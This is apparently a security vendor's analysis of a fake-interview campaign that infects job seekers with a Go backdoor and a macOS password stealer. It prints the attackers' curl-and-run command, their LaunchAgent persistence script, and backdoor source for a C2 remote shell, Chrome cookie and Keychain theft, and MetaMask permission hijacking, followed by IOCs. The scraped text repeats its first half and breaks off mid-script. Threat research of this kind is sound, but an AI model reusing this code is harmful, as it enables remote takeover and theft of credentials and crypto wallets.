Written by MacPaw’s Moonlock Lab Team An ongoing cyber campaign is targeting job seekers with fake interview websites, tricking them into downloading a barebones yet highly effective backdoor. Unlike sophisticated malware that uses obfuscation techniques, this attack relies on simplicity—delivering source code alongside a Go binary, making it cross-platform. Even more concerning is its attempt to hijack the permissions of the cryptocurrency-related Chrome extension MetaMask, potentially draining victims' wallets. The campaign remains active, with new domains regularly appearing to lure more victims. Many individual security researchers and companies, such as SentinelOne, dmpdump, and ENKI WhiteHat, have published excellent analyses. Our team conducted independent research, and in this article, we share our findings and hunting strategies. The Moonlock Lab team began tracking this exact malware on October 9, 2024, when the first components of the backdoor started to appear. A backdoor is a type of malicious software that hides on a system and allows threat actors to execute commands remotely, as if they were the legitimate owners of the workstation. These attacks typically utilize so-called C2 (Command and Control) servers to send and execute commands. What sets this attack apart from others we typically observe is that it consists of multiple stages and is designed to persist on a victim’s machine rather than employing a single-shot data-stealing flow. A complete overview of the attack stages can be seen in the image below. The first well-structured thread on X that we noticed was posted by @tayvano_, who shared information about a probable malicious campaign primarily targeting software developers seeking jobs at blockchain companies. ‘ Usually starts with a "recruiter" from known company e.g. Kraken, MEXC, Gemini, Meta. Pay ranges + messaging style are attractive—even to those not actively job hunting. Mostly via Linkedin. Also freelancer sites, job sites, tg, discord, etc. To obtain the latest version of this malware, it was essential to monitor new domains hosting fake interview sites. For this purpose, our team relied on two unchanging indicators that these domains share: Similar URL pattern “/video-questions/create/” followed by a hardcoded ID: The same image (logo.png) on the pages: Even though some of the domains used during this campaign are being shut down, the new ones continue to appear, with the most recent one still online: smarthiretop[.]online. Our team has spotted more than 20 active domains since November 2024. After investigating the domains, we discovered that some of them share the same IP address. This often happens because attackers use bulletproof hosting providers, which allow multiple domains to be hosted on the same server. Additionally, hosting multiple domains on a single IP enables threat actors to rotate domains without changing the backend infrastructure. This malicious infrastructure is hosted on various services distributed worldwide. As shown in the map below, most servers are located in the U.S., with some spread across other countries. The malicious command that the interviewees were asked to execute hides in the window that appears when they visit a malicious website. It is a JS code, bundled into main.39e5a388.js file in this case. Such filenames are typically generated using a hashing or fingerprinting mechanism during the build process of a web application (Reference: https://urlscan.io/result/0ad23f64-4d61-49c8-8ed8-0d33a07419f4). One of the pages has this embedded JS file with the following SHA256 hash: f729af8473bf98f848ef2dde967d8d301fb71888ee3639142763ebb16914c803 We could easily spot that inside of a built JS file are the same commands that victims were asked to enter: After understanding how the threat actor spreads the malware, our primary goal was to quickly find samples and develop signatures for our users. The first direct mention of "production-ready" samples and their SHA-256 hashes that we found was in this thread: https://x.com/dimitribest/status/1873343968894689472. It included five hashes, namely for: 96e78074218a0f272f7f94805cabde1ef8d64ffb *file.zip; 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 *nodejs.zip; 321972e4e72c5364ec1d5b9e488d15c641fb1819 *nvidia-real.zip; 3405469811bae511e62cb0a4062aadb523cad263 *VCam_arm64.zip; c0baa450c5f3b6aacde2807642222f6d22d5b4bb *VCam_intel.zip. In addition to this, our team started to fetch malicious scripts as if we were tricked into downloading them, similar to the victims. At one point, the following command was used on fake interview websites: Command from the screenshot (do not execute!): sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &' It performs the actions listed below: Fetches ffmpeg-ar.sh file from api[.]nvidia-release[.]org; Stores it into /var/tmp/ffmpeg.sh; Executes the file and redirects all output to /dev/null to hide it from a user. Inside of the ffmpeg.sh file saved into a temporary folder, we can find the entry point for this attack, which includes: Downloading second-stage ZIP files with payload; Placing PLIST file and registering service for persistence; Performing a cleanup. As we may see from the script below, it is specifically designed for macOS, both Intel and ARM variations. After it defines the current CPU model, it downloads a ZIP archive with multiple files. More detailed review of this script can be found at this blog, as mentioned by SentinelOne in their recent report. #!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup Reference: VirusTotal Contents of the archive (version for Intel CPU) that the script fetches are listed below: All the files in the archive can be categorized into a few groups: Parts of Go source code and its binaries (https://github.com/golang/go) ChromeUpdateAlert.app – An AppBundle containing a Mach-O binary that collects the user's IP and password A Go-written backdoor and a stealer vcamservice.sh – A script that launches the main Go-based executable file Interestingly, the archive is approximately 75 MB in size, primarily because it includes many parts of legitimate Go libraries and binaries. Analysis of the Mach-O Password Stealer One of the files we observed being used for a long period of time in this attack is a Mach-O universal binary with 2 architectures, named CameraAccess (SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a). It masquerades as a Google Chrome icon, making regular users believe the file is legitimate and preventing them from deleting it. The code is written in Swift, and no strong obfuscation techniques were detected, making it relatively easy to understand the execution flow. It displays a window that looks like a system notification window, asking the user to grant microphone access, supposedly requested from Google Chrome application. Even if the user selects "Remind Me Later," a password prompt window still appears. The app claims to require microphone access; however, it is sandboxed, and no actual permission request is made for the microphone. After the user enters their password, the malware requests the external IP address of the host it is running on. It then sends the password.txt file to a Dropbox folder named after the user's external IP address. On the screenshot below the Dropbox API URL can be spotted. While examining the network traffic, we could see attempts to retrieve public IP address of a victim. After the IP address is received, we could see requests to Dropbox in order to upload IP-password pair using hardcoded credentials. Our team reported this incident to Dropbox, along with the credentials used to conduct this abusive campaign. Analysis of the Go-written backdoor It is important to note that the ZIP file downloaded by the ffmpeg.sh script contains the plaintext source code of the backdoor, meaning it was neither precompiled nor obfuscated. It significantly sped up the analysis but also raised questions about proper attribution. Needless to say, APT groups from the DPRK are typically far more sophisticated. Another unusual strategy is the inclusion of a Go binary (/bin/go) in the archive instead of simply compiling the full code. However, since Go is not the default application on many operating systems, the threat actors may have included it for better compatibility. This makes sense given that the malware is cross-platform and targets macOS, Linux, and Windows at the same time. A graph illustrating relations and detailed description of each noteworthy sample, can be found here: Gist Entry point Inside the archive, there is a script called vcamupdate.sh. It runs immediately after unpacking and simply executes /bin/go (which is bundled in the ZIP) while passing the path to the main Golang application (app.go in this case). #!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0 The entry application (app.go) is responsible for generating a unique UUID for the user's workstation, initializing the C2 URL, and starting the main loop. In the code we can see single-line comments, prints of supporting messages, and some commented-out code. It also includes URLs probably meant for testing, forgotten to be removed by the developers. In spite of the C2 IP address being different in the main campaign, samples from 2024 shared the same functionality and targeted the same data. Later the call to core.StartMainLoop(id, url) brings us to the core/ folder with loop.go and work.go files. The loop.go file is mainly responsible for receiving and execution of commands from C2, calling submodules which collect sensitive data, and uploading it to the remote server. It contains many functions, 8 of which we would like to highlight and explore in more detail. Function StartMainLoop This function uses the config submodule to initialize available commands and listen for incoming ones. Below you can find a table with all the commands along with their corresponding codes. A more detailed analysis of the backdoor functionality can be found in this publication. Command Name Encoded Name Description COMMAND_INFO qwer Get username, host, OS, arch COMMAND_UPLOAD asdf Upload and decompress arbitrary archive from C2 to host COMMAND_DOWNLOAD zxcv Download stolen data to C2 COMMAND_OSSHELL vbcx Initialize interactive shell between host and C2 (execute arbitrary remote commands) COMMAND_AUTO r4ys Automatically collect sensitive data COMMAND_WAIT ghdj Wait for X seconds COMMAND_EXIT dghh Exit main loop (set alive=false) Based on the command received from C2, an appropriate function will be called. func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } } Function processInfo This function will collect basic system information such as username, hostname, OS version, and architecture. It is worth to note that most of the popular infostealers collect way more system information than this malware. func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data } Function processUpload In this case, upload represents the process of sending an archive file from the C2 to the infected host, followed by its decompression. It also indicates whether the decompression was successful. func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } } Function processDownload This function is the reverse of the previous one. It performs compression of a directory with files collected in advance into tar.gz archive. func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } } Function processOsShell This is a function which a true backdoor must have. It awaits arbitrary command and attempts to execute it. A command may have command-line arguments, and the output will be logged directly to a C2. func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } } Function processAuto This is the entry point of the stealing flow. This function contains multiple calls to the files located in auto/ folder. They include grabbers, processors or modifiers of the following data: Keychain Chrome login data Chrome cookies Chrome MetaMask extension (keys, permissions, etc.) Chrome profile func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data } Function processWait Utility function used to send backdoor into sleeping mode, awaiting further commands. func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} } Function processExit This is a utility function used to quit from the main loop of communication with the C2. func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } } Implementation of Chrome data auto-collection The auto/ folder contains a set of Go-apps: basic.go const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" ) Here we can see defined constants with target data to capture, it becomes obvious that the main focus is on MetaMask extension. chrome_change_pref.go // get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` } // chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() } It kills all currently active Chrome processes, and changes certain permissions for the MetaMask extension. The JSON configuration suggests a potentially malicious behavior of the extension due to its extensive permissions and manual installation method. The "webRequest" permission allows the extension to intercept and modify network requests, enabling data theft or phishing attacks. The "clipboardWrite" permission can be used to capture and modify clipboard data, potentially stealing cryptocurrency addresses or passwords. The "scriptable_host" section, which includes "file:///*", "https://*/*", and "http://*/*", enables script execution on all websites and access to local files, allowing credential theft or unauthorized data exfiltration. The "explicit_host" section grants access to cryptocurrency-related domains, such as https://*.infura.io/* and https://*.cx.metamask.io/*, which could be exploited to manipulate transactions. The "from_webstore": false field indicates that the extension was installed manually or through unauthorized means, suggesting possible tampering. The "commands" field assigns a keyboard shortcut to activate the extension, potentially triggering hidden malicious behavior. These combined factors indicate the extension could be used for unauthorized access, data theft, or financial fraud. chrome_cookie_darwin.go var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil } Used to retrieve password related to Google Chrome from local storage. Gathers Keychain data with further storage into gatherchain.tar.gz. chrome_cookie_other.go The same but for Linux. chrome_cookie_win.go The same but for Windows. chrome_gather.go func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data Collects local extension settings (if they exist on the system) and pack it into gather.tag.gz Conclusions To conclude our analysis, we must highlight the most important points: After successful password theft, the victim's workstation can be remotely accessed via C2 to steal even more data, including personal files that are stored on the system. It makes this malware way more dangerous than regular stealers that usually run on the system once, collecting only the files that are in their list. Backdoor code is written according to programming best practices, comments are left as is, which leaves an open question as to why the code was not compiled beforehand. Only one cryptocurrency-related extension is being targeted, probably counting on gaining remote access to manually search for other popular crypto tools and sensitive data on the system. The campaign is still ongoing, indicating that the threat actors' strategy remains effective and does not require immediate changes. However, we believe that similar campaigns may soon emerge with updated infrastructure. IOC Domains app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com SHA256 b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182 C2 hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080 Written by MacPaw’s Moonlock Lab Team An ongoing cyber campaign is targeting job seekers with fake interview websites, tricking them into downloading a barebones yet highly effective backdoor. Unlike sophisticated malware that uses obfuscation techniques, this attack relies on simplicity—delivering source code alongside a Go binary, making it cross-platform. Even more concerning is its attempt to hijack the permissions of the cryptocurrency-related Chrome extension MetaMask, potentially draining victims' wallets. The campaign remains active, with new domains regularly appearing to lure more victims. Many individual security researchers and companies, such as SentinelOne , dmpdump , and ENKI WhiteHat , have published excellent analyses. Our team conducted independent research, and in this article, we share our findings and hunting strategies. SentinelOne SentinelOne dmpdump dmpdump ENKI WhiteHat ENKI WhiteHat The Moonlock Lab team began tracking this exact malware on October 9, 2024, when the first components of the backdoor started to appear. A backdoor is a type of malicious software that hides on a system and allows threat actors to execute commands remotely, as if they were the legitimate owners of the workstation. These attacks typically utilize so-called C2 (Command and Control) servers to send and execute commands. What sets this attack apart from others we typically observe is that it consists of multiple stages and is designed to persist on a victim’s machine rather than employing a single-shot data-stealing flow. A complete overview of the attack stages can be seen in the image below. The first well-structured thread on X that we noticed was posted by @tayvano_ , who shared information about a probable malicious campaign primarily targeting software developers seeking jobs at blockchain companies. @tayvano_ @tayvano_ ‘ Usually starts with a "recruiter" from known company e.g. Kraken, MEXC, Gemini, Meta. Pay ranges + messaging style are attractive—even to those not actively job hunting. Mostly via Linkedin. Also freelancer sites, job sites, tg, discord, etc. ‘ Usually starts with a "recruiter" from known company e.g. Kraken, MEXC, Gemini, Meta. Pay ranges + messaging style are attractive—even to those not actively job hunting. Mostly via Linkedin. Also freelancer sites, job sites, tg, discord, etc. ‘ Usually starts with a "recruiter" from known company e.g. Kraken, MEXC, Gemini, Meta. Pay ranges + messaging style are attractive—even to those not actively job hunting. Mostly via Linkedin. Also freelancer sites, job sites, tg, discord, etc. To obtain the latest version of this malware, it was essential to monitor new domains hosting fake interview sites. For this purpose, our team relied on two unchanging indicators that these domains share: Similar URL pattern “/video-questions/create/” followed by a hardcoded ID: Similar URL pattern “/video-questions/create/” followed by a hardcoded ID: “/video-questions/create/” The same image (logo.png) on the pages: The same image ( logo.png ) on the pages: logo.png Even though some of the domains used during this campaign are being shut down, the new ones continue to appear, with the most recent one still online: smarthiretop[.]online . Our team has spotted more than 20 active domains since November 2024. smarthiretop[.]online After investigating the domains, we discovered that some of them share the same IP address. This often happens because attackers use bulletproof hosting providers, which allow multiple domains to be hosted on the same server. Additionally, hosting multiple domains on a single IP enables threat actors to rotate domains without changing the backend infrastructure. This malicious infrastructure is hosted on various services distributed worldwide. As shown in the map below, most servers are located in the U.S., with some spread across other countries. The malicious command that the interviewees were asked to execute hides in the window that appears when they visit a malicious website. It is a JS code, bundled into main.39e5a388.js file in this case. Such filenames are typically generated using a hashing or fingerprinting mechanism during the build process of a web application (Reference: https://urlscan.io/result/0ad23f64-4d61-49c8-8ed8-0d33a07419f4). main.39e5a388.js https://urlscan.io/result/0ad23f64-4d61-49c8-8ed8-0d33a07419f4 ). https://urlscan.io/result/0ad23f64-4d61-49c8-8ed8-0d33a07419f4 One of the pages has this embedded JS file with the following SHA256 hash: f729af8473bf98f848ef2dde967d8d301fb71888ee3639142763ebb16914c803 f729af8473bf98f848ef2dde967d8d301fb71888ee3639142763ebb16914c803 We could easily spot that inside of a built JS file are the same commands that victims were asked to enter: After understanding how the threat actor spreads the malware, our primary goal was to quickly find samples and develop signatures for our users. The first direct mention of "production-ready" samples and their SHA-256 hashes that we found was in this thread: https://x.com/dimitribest/status/1873343968894689472. https://x.com/dimitribest/status/1873343968894689472 . https://x.com/dimitribest/status/1873343968894689472 It included five hashes, namely for: 96e78074218a0f272f7f94805cabde1ef8d64ffb *file.zip; 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 *nodejs.zip; 321972e4e72c5364ec1d5b9e488d15c641fb1819 *nvidia-real.zip; 3405469811bae511e62cb0a4062aadb523cad263 *VCam_arm64.zip; c0baa450c5f3b6aacde2807642222f6d22d5b4bb *VCam_intel.zip. 96e78074218a0f272f7f94805cabde1ef8d64ffb *file.zip; 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 *nodejs.zip; 321972e4e72c5364ec1d5b9e488d15c641fb1819 *nvidia-real.zip; 3405469811bae511e62cb0a4062aadb523cad263 *VCam_arm64.zip; c0baa450c5f3b6aacde2807642222f6d22d5b4bb *VCam_intel.zip. In addition to this, our team started to fetch malicious scripts as if we were tricked into downloading them, similar to the victims. At one point, the following command was used on fake interview websites: Command from the screenshot (do not execute!): sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &' sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &' It performs the actions listed below: Fetches ffmpeg-ar.sh file from api[.]nvidia-release[.]org; Stores it into /var/tmp/ffmpeg.sh; Executes the file and redirects all output to /dev/null to hide it from a user. Fetches ffmpeg-ar.sh file from api[.]nvidia-release[.]org; Stores it into /var/tmp/ffmpeg.sh; Executes the file and redirects all output to /dev/null to hide it from a user. Inside of the ffmpeg.sh file saved into a temporary folder, we can find the entry point for this attack, which includes: Downloading second-stage ZIP files with payload; Placing PLIST file and registering service for persistence; Performing a cleanup. Downloading second-stage ZIP files with payload; Placing PLIST file and registering service for persistence; Performing a cleanup. As we may see from the script below, it is specifically designed for macOS, both Intel and ARM variations. After it defines the current CPU model, it downloads a ZIP archive with multiple files. More detailed review of this script can be found at this blog , as mentioned by SentinelOne in their recent report . this blog this blog recent report recent report #!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup #!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> 